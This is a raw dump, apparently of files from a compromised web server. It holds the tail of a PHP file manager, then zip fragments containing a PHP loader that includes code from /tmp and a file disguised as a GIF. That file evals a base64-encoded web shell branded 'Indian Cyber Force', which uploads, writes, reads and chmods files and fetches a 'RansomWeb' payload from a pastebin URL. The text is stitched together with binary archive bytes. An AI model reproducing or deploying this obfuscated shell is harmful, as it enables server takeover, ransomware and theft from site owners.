and(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreenandeditor.container.msRequestFullscreen());
} else if(editorOption == "wrap") {
let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
editor.getSession().setUseWrapMode(wrapStatus);
}
}
});
$("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
e.preventDefault();
let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
if(selectedValue and selectionType == "mode") {
editor.getSession().setMode(selectedValue);
} else if(selectedValue and selectionType == "theme") {
editor.setTheme(selectedValue);
}else if(selectedValue and selectionType == "fontSize") {
editor.setFontSize(parseInt(selectedValue));
}
});
});
</script>
<?php endif; ?>
<div id="snackbar"></div>
</body>
</html>
<?php
}
function lng($txt) {
global $lang;
$tr['en']['AppName'] = 'spathe'; $tr['en']['AppTitle'] = 'spathe';
$tr['en']['Login'] = 'Sign in'; $tr['en']['Username'] = 'Username';
$tr['en']['Password'] = 'Password'; $tr['en']['Logout'] = 'Sign Out';
$tr['en']['Move'] = 'Move'; $tr['en']['Copy'] = 'Copy';
$tr['en']['Save'] = 'Save'; $tr['en']['SelectAll'] = 'Select all';
$tr['en']['UnSelectAll'] = 'Unselect all'; $tr['en']['File'] = 'File';
$tr['en']['Back'] = 'Back'; $tr['en']['Size'] = 'Size';
$tr['en']['Perms'] = 'Perms'; $tr['en']['Modified'] = 'Modified';
$tr['en']['Owner'] = 'Owner'; $tr['en']['Search'] = 'Search';
$tr['en']['NewItem'] = 'New Item'; $tr['en']['Folder'] = 'Folder';
$tr['en']['Delete'] = 'Delete'; $tr['en']['Rename'] = 'Rename';
$tr['en']['CopyTo'] = 'Copy to'; $tr['en']['DirectLink'] = 'Direct link';
$tr['en']['UploadingFiles'] = 'Upload Files'; $tr['en']['ChangePermissions'] = 'Change Permissions';
$tr['en']['Copying'] = 'Copying'; $tr['en']['CreateNewItem'] = 'Create New Item';
$tr['en']['Name'] = 'Name'; $tr['en']['AdvancedEditor'] = 'Advanced Editor';
$tr['en']['Actions'] = 'Actions'; $tr['en']['Folder is empty'] = 'Folder is empty';
$tr['en']['Upload'] = 'Upload'; $tr['en']['Cancel'] = 'Cancel';
$tr['en']['InvertSelection']= 'Invert Selection'; $tr['en']['DestinationFolder'] = 'Destination Folder';
$tr['en']['ItemType'] = 'Item Type'; $tr['en']['ItemName'] = 'Item Name';
$tr['en']['CreateNow'] = 'Create Now'; $tr['en']['Download'] = 'Download';
$tr['en']['Open'] = 'Open'; $tr['en']['UnZip'] = 'UnZip';
$tr['en']['UnZipToFolder'] = 'UnZip to folder'; $tr['en']['Edit'] = 'Edit';
$tr['en']['NormalEditor'] = 'Normal Editor'; $tr['en']['BackUp'] = 'Back Up';
$tr['en']['SourceFolder'] = 'Source Folder'; $tr['en']['Files'] = 'Files';
$tr['en']['Move'] = 'Move'; $tr['en']['Change'] = 'Change';
$tr['en']['Settings'] = 'Settings'; $tr['en']['Language'] = 'Language';
$tr['en']['ErrorReporting'] = 'Error Reporting'; $tr['en']['ShowHiddenFiles'] = 'Show Hidden Files';
$tr['en']['Help'] = 'Help'; $tr['en']['Created'] = 'Created';
$tr['en']['Help Documents'] = 'Help Documents'; $tr['en']['Report Issue'] = 'Report Issue';
$tr['en']['Generate'] = 'Generate'; $tr['en']['FullSize'] = 'Full Size';
$tr['en']['HideColumns'] = 'Hide Perms/Owner columns';$tr['en']['You are logged in'] = 'You are logged in';
$tr['en']['Nothing selected'] = 'Nothing selected'; $tr['en']['Paths must be not equal'] = 'Paths must be not equal';
$tr['en']['Renamed from'] = 'Renamed from'; $tr['en']['Archive not unpacked'] = 'Archive not unpacked';
$tr['en']['Deleted'] = 'Deleted'; $tr['en']['Archive not created'] = 'Archive not created';
$tr['en']['Copied from'] = 'Copied from'; $tr['en']['Permissions changed'] = 'Permissions changed';
$tr['en']['to'] = 'to'; $tr['en']['Saved Successfully'] = 'Saved Successfully';
$tr['en']['not found!'] = 'not found!'; $tr['en']['File Saved Successfully'] = 'File Saved Successfully';
$tr['en']['Archive'] = 'Archive'; $tr['en']['Permissions not changed'] = 'Permissions not changed';
$tr['en']['Select folder'] = 'Select folder'; $tr['en']['Source path not defined'] = 'Source path not defined';
$tr['en']['already exists'] = 'already exists'; $tr['en']['Error while moving from'] = 'Error while moving from';
$tr['en']['Create archive?'] = 'Create archive?'; $tr['en']['Invalid file or folder name'] = 'Invalid file or folder name';
$tr['en']['Archive unpacked'] = 'Archive unpacked'; $tr['en']['File extension is not allowed'] = 'File extension is not allowed';
$tr['en']['Root path'] = 'Root path'; $tr['en']['Error while renaming from'] = 'Error while renaming from';
$tr['en']['File not found'] = 'File not found'; $tr['en']['Error while deleting items'] = 'Error while deleting items';
$tr['en']['Moved from'] = 'Moved from'; $tr['en']['Generate new password hash'] = 'Generate new password hash';
$tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
$tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
$tr['en']['Advanced Search'] = 'Advanced Search'; $tr['en']['Error while copying from'] = 'Error while copying from';
$tr['en']['Invalid characters in file name'] = 'Invalid characters in file name';
$tr['en']['FILE EXTENSION HAS NOT SUPPORTED'] = 'FILE EXTENSION HAS NOT SUPPORTED';
$tr['en']['Selected files and folder deleted'] = 'Selected files and folder deleted';
$tr['en']['Error while fetching archive info'] = 'Error while fetching archive info';
$tr['en']['Delete selected files and folders?'] = 'Delete selected files and folders?';
$tr['en']['Search file in folder and subfolders...'] = 'Search file in folder and subfolders...';
$tr['en']['Access denied. IP restriction applicable'] = 'Access denied. IP restriction applicable';
$tr['en']['Invalid characters in file or folder name'] = 'Invalid characters in file or folder name';
$tr['en']['Operations with archives are not available'] = 'Operations with archives are not available';
$tr['en']['File or folder with this path already exists'] = 'File or folder with this path already exists';
$i18n = fm_get_translations($tr);
$tr = $i18n ? $i18n : $tr;
if (!strlen($lang)) $lang = 'en';
if (isset($tr[$lang][$txt])) return fanco($tr[$lang][$txt]);
else if (isset($tr['en'][$txt])) return fanco($tr['en'][$txt]);
else return "$txt";
}
?>PK �Fm\�G0=f f index-20260307171225.phpnu �[��� <?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "13.php"; include("zip:///tmp/phptpd9aH#$h");?>PK �Fm\ �]��W �W pbyk4.phpnu �[��� GIF89a
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<title>php</title>
<?=eval("?>".base64_decode("PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KCjxoZWFkPgoJCTxtZXRhIGNoYXJzZXQ9
InV0Zi04Ij4KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Ut
d2lkdGgsIGluaXRpYWwtc2NhbGU9MC43NSwgc2hyaW5rLXRvLWZpdD1ubyI+CiAgICA8bGluayBy
ZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vc3RhY2twYXRoLmJvb3RzdHJhcGNkbi5jb20v
Ym9vdHN0cmFwLzQuMS4zL2Nzcy9ib290c3RyYXAubWluLmNzcyIgaW50ZWdyaXR5PSJzaGEzODQt
TUN3OTgvU0ZuR0U4ZkpUM0dYd0VPbmdzVjdadDI3TlhGb2FvQXBtWW04MWl1WG9Qa0ZPSndKOEVS
ZGtuTFBNTyIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+CiAgICA8bGluayByZWw9InN0eWxlc2hl
ZXQiIGhyZWY9Imh0dHBzOi8vdXNlLmZvbnRhd2Vzb21lLmNvbS9yZWxlYXNlcy92NS43LjEvY3Nz
L2FsbC5jc3MiIGludGVncml0eT0ic2hhMzg0LWZubU9DcWJUbFdJbGo4THlUam83bU9VU3Rqc0tD
NHBPcFFicXlpN1JyaE43dWRpOVJ3aEtrTUhwdkxiSEc5U3IiIGNyb3Nzb3JpZ2luPSJhbm9ueW1v
dXMiLz4KICA8IS0tIEN1c3RvbSBzdHlsZXMgZm9yIHRoaXMgdGVtcGxhdGUgLS0+CiAgPHN0eWxl
Pgpib2R5IHsKICBvdmVyZmxvdy14OiBoaWRkZW47Cn0KLmljbyB7d2lkdGg6MjBweDt9Ci5pY28y
e3dpZHRoOjIwcHg7fQojc2lkZWJhci13cmFwcGVyIHsKICBtaW4taGVpZ2h0OiAxMDB2aDsKICBt
YXJnaW4tbGVmdDogLTE1cmVtOwogIC13ZWJraXQtdHJhbnNpdGlvbjogbWFyZ2luIC4yNXMgZWFz
ZS1vdXQ7CiAgLW1vei10cmFuc2l0aW9uOiBtYXJnaW4gLjI1cyBlYXNlLW91dDsKICAtby10cmFu
c2l0aW9uOiBtYXJnaW4gLjI1cyBlYXNlLW91dDsKICB0cmFuc2l0aW9uOiBtYXJnaW4gLjI1cyBl
YXNlLW91dDsKfQoKI3NpZGViYXItd3JhcHBlciAuc2lkZWJhci1oZWFkaW5nIHsKICBwYWRkaW5n
OiAwLjg3NXJlbSAxLjI1cmVtOwogIGZvbnQtc2l6ZTogMS4ycmVtOwp9Cgojc2lkZWJhci13cmFw
cGVyIC5saXN0LWdyb3VwIHsKICB3aWR0aDogMTVyZW07Cn0KCiNwYWdlLWNvbnRlbnQtd3JhcHBl
ciB7CiAgbWluLXdpZHRoOiAxMDB2dzsKfQoKI3dyYXBwZXIudG9nZ2xlZCAjc2lkZWJhci13cmFw
cGVyIHsKICBtYXJnaW4tbGVmdDogMDsKfQoKQG1lZGlhIChtaW4td2lkdGg6IDc2OHB4KSB7CiAg
I3NpZGViYXItd3JhcHBlciB7CiAgICBtYXJnaW4tbGVmdDogMDsKICB9CgogICNwYWdlLWNvbnRl
bnQtd3JhcHBlciB7CiAgICBtaW4td2lkdGg6IDA7CiAgICB3aWR0aDogMTAwJTsKICB9CgogICN3
cmFwcGVyLnRvZ2dsZWQgI3NpZGViYXItd3JhcHBlciB7CiAgICBtYXJnaW4tbGVmdDogLTE1cmVt
OwogIH0KfQogIDwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+CiAgICA8ZGl2IGlkPSJwYWdlLWNvbnRl
bnQtd3JhcHBlciI+CgogICAgICA8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWV4cGFuZC1sZyBu
YXZiYXItbGlnaHQgYmctbGlnaHQgYm9yZGVyLWJvdHRvbSI+CiAgICAgICAgPGJ1dHRvbiBjbGFz
cz0iYnRuIGJ0bi1wcmltYXJ5IiBpZD0ibWVudS10b2dnbGUiPjxpIGNsYXNzPSJmYSBmYS11c2Vy
Ij48L2k+PC9idXR0b24+CgogICAgICAgIDxidXR0b24gY2xhc3M9Im5hdmJhci10b2dnbGVyIiB0
eXBlPSJidXR0b24iIGRhdGEtdG9nZ2xlPSJjb2xsYXBzZSIgZGF0YS10YXJnZXQ9IiNuYXZiYXJT
dXBwb3J0ZWRDb250ZW50IiBhcmlhLWNvbnRyb2xzPSJuYXZiYXJTdXBwb3J0ZWRDb250ZW50IiBh
cmlhLWV4cGFuZGVkPSJmYWxzZSIgYXJpYS1sYWJlbD0iVG9nZ2xlIG5hdmlnYXRpb24iPgogICAg
ICAgICAgPHNwYW4gY2xhc3M9Im5hdmJhci10b2dnbGVyLWljb24iPjwvc3Bhbj4KICAgICAgICA8
L2J1dHRvbj4KCiAgICAgICAgPGRpdiBjbGFzcz0iY29sbGFwc2UgbmF2YmFyLWNvbGxhcHNlIiBp
ZD0ibmF2YmFyU3VwcG9ydGVkQ29udGVudCI+CiAgICAgICAgICA8dWwgY2xhc3M9Im5hdmJhci1u
YXYgbWwtYXV0byBtdC0yIG10LWxnLTAiPgogICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVt
IGFjdGl2ZSI+CiAgICAgICAgICAgICAgPGEgY2xhc3M9Im5hdi1saW5rIiBocmVmPSI/Ij5Ib21l
IDxzcGFuIGNsYXNzPSJzci1vbmx5Ij4oY3VycmVudCk8L3NwYW4+PC9hPgogICAgICAgICAgICA8
L2xpPgogICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgICAgICAgIAo8P3Bo
cAppZihpc3NldCgkX0dFVFsncGF0aCddKSl7CiRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKfWVsc2V7
CiRwYXRoID0gZ2V0Y3dkKCk7Cn0KJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCk7
CiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCmZvcmVhY2goICRwYXRocyBhcyAkaWQgPT4g
JHBhdCApewppZiggJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCApewokYSA9IHRydWU7CmVjaG8gJ+Ck
teCksOCljeCkpOCkruCkvuCkqCDgpKjgpL/gpKbgpYfgpLbgpJUgPT4gPGEgaHJlZj0iP3BhdGg9
LyI+LzwvYT4nOwpjb250aW51ZTsKfQppZiggJHBhdCA9PSAnJyApIGNvbnRpbnVlOwplY2hvICc8
YSBocmVmPSI/cGF0aD0nOwpmb3IoICRpID0gMDsgJGkgPD0gJGlkOyAkaSsrKXsKZWNobyAiJHBh
dGhzWyRpXSI7CmlmKCAkaSAhPSAkaWQgKSBlY2hvICIvIjsKfQplY2hvICciPicuJHBhdC4nPC9h
Pi8nOwp9Cj8+CiAgICAgICAgICAgICAKICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgPGxp
IGNsYXNzPSJuYXYtaXRlbSBkcm9wZG93biI+CiAgICAgICAgICAgICAgPGEgY2xhc3M9Im5hdi1s
aW5rIGRyb3Bkb3duLXRvZ2dsZSIgaHJlZj0iIyIgaWQ9Im5hdmJhckRyb3Bkb3duIiByb2xlPSJi
dXR0b24iIGRhdGEtdG9nZ2xlPSJkcm9wZG93biIgYXJpYS1oYXNwb3B1cD0idHJ1ZSIgYXJpYS1l
eHBhbmRlZD0iZmFsc2UiPgogICAgICAgICAgICAgICAg4KS44KWC4KSa4KSo4KS+IOCkj+CkteCk
giDgpIXgpKrgpLLgpYvgpKEKICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgPGRpdiBj
bGFzcz0iZHJvcGRvd24tbWVudSBkcm9wZG93bi1tZW51LXJpZ2h0IiBhcmlhLWxhYmVsbGVkYnk9
Im5hdmJhckRyb3Bkb3duIj4KICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJkcm9wZG93bi1pdGVt
IiBocmVmPSI/aW5mbyI+SW5mbyBTZXJ2ZXI8L2E+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNz
PSJkcm9wZG93bi1kaXZpZGVyIj48L2Rpdj4KICAgICAgICAgICAgICAgIDxjZW50ZXI+CiAgICAg
ICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0
YSI+CiAgICAgICAgICAgICAgIAk8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSI+PGlucHV0
IHR5cGU9InN1Ym1pdCIgbmFtZT0idXBsb2FkIiB2YWx1ZT0iVXBsb2FkIj4KICAgICAgICAgICAg
ICAgPC9mb3JtPgogICAgICAgICAgICAgICA8L2NlbnRlcj4KICAgICAgICAgICAgICA8L2Rpdj4K
ICAgICAgICAgICAgPC9saT4KICAgICAgICAgIDwvdWw+CiAgICAgICAgPC9kaXY+CiAgICAgIDwv
bmF2PgogPGRpdiBjbGFzcz0iZC1mbGV4IiBpZD0id3JhcHBlciI+CiAgICA8IS0tIFNpZGViYXIg
LS0+CiAgICA8ZGl2IGNsYXNzPSJiZy1saWdodCBib3JkZXItcmlnaHQiIGlkPSJzaWRlYmFyLXdy
YXBwZXIiPgogICAgICA8ZGl2IGNsYXNzPSJzaWRlYmFyLWhlYWRpbmciPjxpIGNsYXNzPSJmYXMg
ZmEtdGFjaG9tZXRlci1hbHQiPjwvaT48YSBocmVmPSI/IiBjbGFzcz0idGV4dC1kYXJrIj4gSW5k
aWFuIEN5YmVyIEZvcmNlPC9hPjwvZGl2PgogICAgICA8ZGl2IGNsYXNzPSJsaXN0LWdyb3VwIGxp
c3QtZ3JvdXAtZmx1c2giPgogICAgICAJPD9waHAKICAgICAgCWVjaG8gIjxhIGhyZWY9Jz9wYXRo
PSRwYXRoJmFrc2k9YnVhdGZvbGRlcicgY2xhc3M9J2xpc3QtZ3JvdXAtaXRlbSBsaXN0LWdyb3Vw
LWl0ZW0tYWN0aW9uIGJnLWxpZ2h0Jz48aSBjbGFzcz0nZmFzIGZhLWZvbGRlci1vcGVuJz48L2k+
IEZvbGRlcnMg4KSw4KSa4KSv4KSo4KWN4KSk4KWBPC9hPgogICAgICAJPGEgaHJlZj0nP3BhdGg9
JHBhdGgmYWtzaT1idWF0ZmlsZScgY2xhc3M9J2xpc3QtZ3JvdXAtaXRlbSBsaXN0LWdyb3VwLWl0
ZW0tYWN0aW9uIGJnLWxpZ2h0Jz48aSBjbGFzcz0nZmFzIGZhLWZpbGUnPjwvaT4g4KS44KSe4KWN
4KSa4KS/4KSV4KS+4KSCIOCksOCkmuCkr+CkqOCljeCkpOClgTwvYT4KICAgICAgCTxhIGhyZWY9
Jz9wYXRoPSRwYXRoJmFrc2k9cmFuc29tJyBjbGFzcz0nbGlzdC1ncm91cC1pdGVtIGxpc3QtZ3Jv
dXAtaXRlbS1hY3Rpb24gYmctbGlnaHQnPjxpIGNsYXNzPSdmYSBmYS1leGNsYW1hdGlvbi10cmlh
bmdsZSc+PC9pPiBSYW5zb21XZWI8L2E+IjsKICAgICAgCT8+CiAgICAgICAgPGEgaHJlZj0nP2tl
bHVhcj10cnVlJyBjbGFzcz0nbGlzdC1ncm91cC1pdGVtIGxpc3QtZ3JvdXAtaXRlbS1hY3Rpb24g
YmctbGlnaHQnPjxpIGNsYXNzPSdmYXMgZmEtc2lnbi1vdXQtYWx0Jz48L2k+IOCksuClieCkl+Ck
huCkieCknzwvYT4KICAgICAgICAKICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KICAgICAgPGRpdiBj
bGFzcz0iY29udGFpbmVyLWZsdWlkIj4KICAgICAgICAKICAgICAgICAKPD9waHAKaWYoJF9HRVRb
IuCkrOCkueCkv+CkgyDgpJfgpJrgpY3gpJvgpKTgpYEiXSA9PSB0cnVlKXsKdW5zZXQoJF9TRVNT
SU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSk7CgllY2hvICI8c2NyaXB0PndpbmRvdy5s
b2NhdGlvbj0nPyc7PC9zY3JpcHQ+IjsKfQppZigkX0dFVFsnYWtzaSddID09ICdidWF0Zm9sZGVy
Jyl7CglmdW5jdGlvbiBoYWkoKXsKCQllY2hvICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nP3Bh
dGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ0ZvbGRlciDgpLjgpKvgpLLgpKTgpL4g4KSV4KWD4KSk4KS+
IScpPC9zY3JpcHQ+IjsKCX0KCWlmKGlzc2V0KCRfUE9TVFsiZm9sZGVyc3MiXSkpewoJCSRuYW1h
X2ZvbGRlciA9ICRwYXRoLicvJy4kX1BPU1RbIm5hbWFGIl07CgkJbWtkaXIoJG5hbWFfZm9sZGVy
LGhhaSgpKTsKCX0KCQkKCWVjaG8gJwoJPGRpdiBjbGFzcz0icm93IG10LTMiPgoJCTxkaXYgY2xh
c3M9ImNvbCI+CgkJCTxmb3JtIG1ldGhvZD0icG9zdCI+Cgk8aW5wdXQgdHlwZT0idGV4dCIgbmFt
ZT0ibmFtYUYiIGNsYXNzPSJmb3JtLWNvbnRyb2wgbWItMyIgcGxhY2Vob2xkZXI9Ik5hbWEgRm9s
ZGVyIj4KCQk8L2Rpdj4KCQk8ZGl2IGNsYXNzPSJjb2wiPgoJCQk8aW5wdXQgdHlwZT0ic3VibWl0
IiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLWJsb2NrIiB2YWx1ZT0iQnVhdCIg
bmFtZT0iZm9sZGVyc3MiPjwvZm9ybT4KCQkJCTwvZGl2PgoJCQkJPC9kaXY+JzsKfWVsc2VpZigk
X0dFVFsi4KSo4KS+4KSu4KSq4KSk4KWN4KSwIl0gPT0gJ3JhbnNvbScpewoKCSR1cmwgID0gImh0
dHBzOi8vcGFzdGViaW4uY29tL3Jhdy9MYlZoTm5aRiI7CiAgJGN1cmwgPSBjdXJsX2luaXQoJHVy
bCk7CiAgCQkJCWN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLHRydWUp
OwogICRnZXQJPSBjdXJsX2V4ZWMoJGN1cmwpOwogaWYoISRnZXQgPT0gIiIpewokcHV0cyA9IGZv
cGVuKCJSYW5zb21XZWIucGhwIiwidyIpOwoJCQkJZndyaXRlKCRwdXRzLCRnZXQpOwoJCQkJZmNs
b3NlKCRwdXRzKTsKJG5hbWFfZmlsZSAgPSAiUmFuc29tV2ViLnBocCI7CiRzZXJ2ZXJfd2ViID0g
J2h0dHA6Ly8nLiRfU0VSVkVSWyJIVFRQX0hPU1QiXS4nLyc7CmlmKCRwdXRzID09IHRydWUpewoJ
ZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfg
pLjgpKvgpLLgpKTgpL4nKTwvc2NyaXB0PiI7Cn1lbHNlewoJZWNobyAi4KSF4KSo4KWB4KSk4KWN
4KSk4KWA4KSw4KWN4KSj4KSDIOCkqOCkv+CksOCljeCkruClgOCkr+CkpOCkvuCkruCljeKAjCBG
aWxlIjsKCX0KfWVsc2V7CgllY2hvICJOb3QgRm91bmQhISI7Cn0KCgkKfWVsc2VpZigkX0dFVFsi
4KSo4KS+4KSu4KSq4KSk4KWN4KSwIl0gPT0gJ2NyZWF0ZWZpbGUg4KSH4KSk4KS/Jyl7CglpZihp
c3NldCgkX1BPU1RbIuCkleClg+CkpOClhyJdKSl7CgkkbmFtYUYgPSAkcGF0aC4nLycuJF9QT1NU
WyLgpLjgpJ7gpY3gpJrgpL/gpJXgpL5f4KSo4KS+4KSuIl07CgkkaXNpID0gJF9QT1NUWyLgpLXg
pL/gpLfgpK/gpIMiXTsKCSRidWF0ID0gZm9wZW4oJG5hbWFGLCJ3Iik7Cglmd3JpdGUoJGJ1YXQs
JGlzaSk7CglmY2xvc2UoJGJ1YXQpOwoJaWYoJGJ1YXQgPT0gVFJVRSl7CgkJZWNobyAiPHNjcmlw
dD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfgpLjgpKvgpLLgpKTg
pL4nKTwvc2NyaXB0PiI7Cn1lbHNlewplY2hvICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nP3Bh
dGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkheCkqOClgeCkpOCljeCkpOClgOCksOCljeCko+CkgyEh
IScpPC9zY3JpcHQ+IjsKfQp9CmVjaG8gJzxmb3JtIG1ldGhvZD0icG9zdCIgY2xhc3M9Im10LTMi
PgoJPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgbWItMyIgcGxhY2Vob2xk
ZXI9Ik5hbWEgRmlsZSIgbmFtZT0ibmFtYV9maWxlIj4KCQk8dGV4dGFyZWEgY2xhc3M9ImZvcm0t
Y29udHJvbCBtYi0zIiByb3dzPSI4IiBuYW1lPSJpc2kiIHBsYWNlaG9sZGVyPSJJc2kgRmlsZSI+
PC90ZXh0YXJlYT4KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidWF0IiBjbGFzcz0iYnRu
IGJ0bi1vdXRsaW5lLXByaW1hcnkiIHZhbHVlPSJCdWF0Ij4nOwp9ZWxzZQppZihpc3NldCgkX0dF
VFsiaW5mbyJdKSl7CmVjaG8gJwoJPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtc3VjY2VzcyBtdC0z
Ij4KCQk8aDMgY2xhc3M9InRleHQtY2VudGVyIj7gpLjgpYLgpJrgpKjgpL4gU2VydmVyPC9oMz48
aHI+CgkJPGxpPk5hbWEgU2VydmVyIDogJy4kX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4nPC9saT4K
CQk8bGk+SXAgQWRkcmVzcyA6ICcuJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0uJzwvbGk+CgkJPGxp
PlBvcnQgOiAnLiRfU0VSVkVSWyJTRVJWRVJfUE9SVCJdLic8L2xpPgoJCTxsaT7gpKrgpY3gpLDg
pYvgpJ/gpYvgpJXgpYngpLIgOiAnLiRfU0VSVkVSWyJTRVJWRVJfUFJPVE9DT0wiXS4nPC9saT4K
CQk8bGk+U2F2ZSBEYXRhIDogJy4kX1NFUlZFUlsiSFRUUF9TQVZFX0RBVEEiXS4nPC9saT4KCQk8
bGk+4KS44KSC4KSs4KSo4KWN4KSn4KSDIDogJy4kX1NFUlZFUlsiSFRUUF9DT05ORUNUSU9OIl0u
JzwvbGk+CgkJPGxpPlNvZnR3YXJlIDogJy4kX1NFUlZFUlsiU0VSVkVSX1NPRlRXQVJFIl0uJzwv
bGk+CgkJPGxpPkRva3VtZW4gUm9vdCA6ICcuJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXS4nPC9s
aT4KCQk8bGk+Ry1JbnRlcmZhY2UgOiAnLiRfU0VSVkVSWyJHQVRFV0FZX0lOVEVSRkFDRSJdLic8
L2xpPgoJCTxsaT5SLU1ldGhvZCA6ICcuJF9TRVJWRVJbIlJFUVVFU1RfTUVUSE9EIl0uJzwvbGk+
CgkJPGxpPllvdXIgQnJvd3NlciA6ICcuJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdLic8L2xp
PgoJCTwvZGl2Pic7Cn1lbHNlIGlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewppZihjb3B5KCRf
RklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aC4nLycuJF9GSUxFU1snZmlsZSddWyduYW1l
J10pKXsKZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFs
ZXJ0KCfgpK7gpL7gpKjgpY3gpK8hIScpPC9zY3JpcHQ+IjsKfWVsc2V7CmVjaG8gIjxzY3JpcHQ+
YWxlcnQoJ+CkheCkqOClgeCkpOCljeCkpOClgOCksOCljeCko+CkgyBVcGxvYWQnKTwvc2NyaXB0
PiI7Cn0KfWVsc2UgaWYoaXNzZXQoJF9HRVRbJ2ZpbGVzcmMnXSkpewplY2hvICI8dHI+PHRkPkN1
cnJlbnQgRmlsZSA6ICI7CmVjaG8gJF9HRVRbJ2ZpbGVzcmMnXTsKZWNobyAnPC90cj48L3RkPjwv
dGFibGU+PGJyIC8+JzsKZWNobygnPHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29u
dGVudHMoJF9HRVRbJ2ZpbGVzcmMnXSkpLic8L3ByZT4nKTsKfWVsc2UgaWYoaXNzZXQoJF9HRVRb
J29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddICE9ICdkZWxldGUnKXsKZWNobyAnPC90YWJsZT48
YnIgLz48Y2VudGVyPicuJF9QT1NUWydwYXRoJ10uJzxiciAvPjxiciAvPic7CmlmKCRfUE9TVFsn
b3B0J10gPT0gJ2NobW9kJyl7CmlmKGlzc2V0KCRfUE9TVFsncGVybSddKSl7CmlmKGNobW9kKCRf
UE9TVFsncGF0aCddLCRfUE9TVFsncGVybSddKSl7CmVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0
aW9uPSc/cGF0aD0iLiRwYXRoLiInOyBhbGVydCgnU3Vrc2VzJyk8L3NjcmlwdD4iOwp9ZWxzZXsK
ZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfg
pIXgpKjgpYHgpKTgpY3gpKTgpYDgpLDgpY3gpKPgpIMhISEnKTwvc2NyaXB0PiI7Cn0KfQplY2hv
ICc8Zm9ybSBtZXRob2Q9IlBPU1QiPgoJPGRpdiBjbGFzcz0icm93Ij4KCQk8ZGl2IGNsYXNzPSJj
b2wiPgo8aW5wdXQgbmFtZT0icGVybSIgdHlwZT0idGV4dCIgc2l6ZT0iNCIgdmFsdWU9Iicuc3Vi
c3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRfUE9TVFsncGF0aCddKSksIC00KS4nIiBjbGFz
cz0iZm9ybS1jb250cm9sIj4KCTwvZGl2Pgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRo
IiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0i
b3B0IiB2YWx1ZT0iY2htb2QiPgoJPGRpdiBjbGFzcz0iY29sIj4KPGlucHV0IHR5cGU9InN1Ym1p
dCIgdmFsdWU9IkdvIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLWJsb2NrIj4K
CTwvZGl2PgoJPC9kaXY+CjwvZm9ybT4nOwp9ZWxzZSBpZigkX1BPU1RbJ29wdCddID09ICdyZW5h
